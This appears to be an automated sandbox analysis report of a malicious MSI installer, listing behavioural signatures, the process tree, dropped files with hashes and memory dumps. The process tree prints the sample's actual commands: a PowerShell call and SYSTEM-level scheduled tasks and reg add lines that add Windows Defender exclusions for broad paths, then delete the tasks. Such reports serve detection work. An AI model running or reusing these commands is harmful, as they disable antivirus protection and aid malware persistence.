Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 10:58

General

  • Target
    setup_n0c009.msi
  • Size 7.1MB
  • Sample260804-m24pestygs
  • SHA256 b03c1670f6385a2916431cdfd421a9f39656ec41d38b8deb440f867f3d182b92
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c009.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5780
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3276
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:368
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding C23A42BA125BFD2693D00537BF4C2C7C E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:5976
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:5576
  • C:\Users\Public\iKCam2\lfKZmQ.exe
    "C:\Users\Public\iKCam2\lfKZmQ.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3220
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\iKCam2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5796
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\iKCam2\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1404
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1092
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2332
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5492
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5672
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4620
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5340
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2396
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5708
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3400
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3228
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4968
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5684
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:52
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1264
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1588
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5244
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4776
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4672
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\iKCam2" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1064
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\iKCam2" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5960
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2160
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5336
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6048
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5148
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1744
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:108
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5880
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1132
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1948

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              e5996b9.rbs

                              • Path C:\Config.Msi\e5996b9.rbs
                              • Size 7KB
                              • SHA256 26e39bf0e6cacbba8b9aa088fefab11790ceeb7e0bcd80b25014f0ca87d19a01
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\iKCam2\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 6af8d11f39e38751ebb7c5a045b61d5aa8ad6493b09c026e1514f44c0752c874
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\iKCam2\adoresd.dat
                              • Size 4.7MB
                              • SHA256 a0656e63ad92b0146a4eac7b0351b2975abc3ce208042c25ccfe60433bf2df41
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              lfKZmQ.exe

                              • Path C:\Users\Public\iKCam2\lfKZmQ.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\iKCam2\msadox.tb
                              • Size 8KB
                              • SHA256 723c84321f8a1d7aca8f0c63c02afff0096a35d8710320e20e3cca512adf381e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              MSI9E2B.tmp

                              • Path C:\Windows\Installer\MSI9E2B.tmp
                              • Size 7.0MB
                              • SHA256 58ac4e2623e7520961a0523ccc84cdae28580485828c0ad83f77ae2968ec6456
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              e5996b8.msi

                              • Path C:\Windows\Installer\e5996b8.msi
                              • Size 7.1MB
                              • SHA256 b03c1670f6385a2916431cdfd421a9f39656ec41d38b8deb440f867f3d182b92
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              metadata-2

                              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                              • Size 26.1MB
                              • SHA256 42eef9369286107a91e3608a9df9360d586a6fb28621602ace70530da9ddd5ea
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              {2c16c2a3-3625-46ea-8a7d-cb66736cfd31}_OnDiskSnapshotProp

                              • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{2c16c2a3-3625-46ea-8a7d-cb66736cfd31}_OnDiskSnapshotProp
                              • Size 6KB
                              • SHA256 6a1ee3ace20733e25d2bdc6222105be8ca61e47c9a6a67d60da808d6da256500
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2924-64-0x00007FFAA7F80000-0x00007FFAA7F82000-memory.dmp

                              memory/2924-89-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-56-0x00007FFAA7F70000-0x00007FFAA7F72000-memory.dmp

                              memory/2924-57-0x00007FFA846F0000-0x00007FFA84C0E000-memory.dmp

                              memory/2924-93-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-91-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-62-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-82-0x00000262F7420000-0x00000262F746E000-memory.dmp

                              memory/2924-69-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-65-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-70-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-71-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-72-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-77-0x00000262F7EB0000-0x00000262F8741000-memory.dmp

                              memory/2924-87-0x00000262F8750000-0x00000262F87DA000-memory.dmp

                              memory/2924-85-0x00000262F8750000-0x00000262F87DA000-memory.dmp

                              memory/2924-86-0x00000262F8750000-0x00000262F87DA000-memory.dmp

                              memory/2924-84-0x00000262F8750000-0x00000262F87DA000-memory.dmp

                              memory/3220-98-0x000001F535680000-0x000001F5356A2000-memory.dmp

                              memory/3220-102-0x000001F5356E0000-0x000001F5356FE000-memory.dmp

                              memory/3220-103-0x000001F535950000-0x000001F535A02000-memory.dmp

                              memory/3220-104-0x000001F535700000-0x000001F53570A000-memory.dmp

                              memory/5976-12-0x00007FFAA7F70000-0x00007FFAA7F72000-memory.dmp

                              memory/5976-42-0x00007FFA96C20000-0x00007FFA96C32000-memory.dmp

                              memory/5976-13-0x00007FFA845D0000-0x00007FFA84C0B000-memory.dmp

                              memory/5976-16-0x00007FFA96C20000-0x00007FFA96C32000-memory.dmp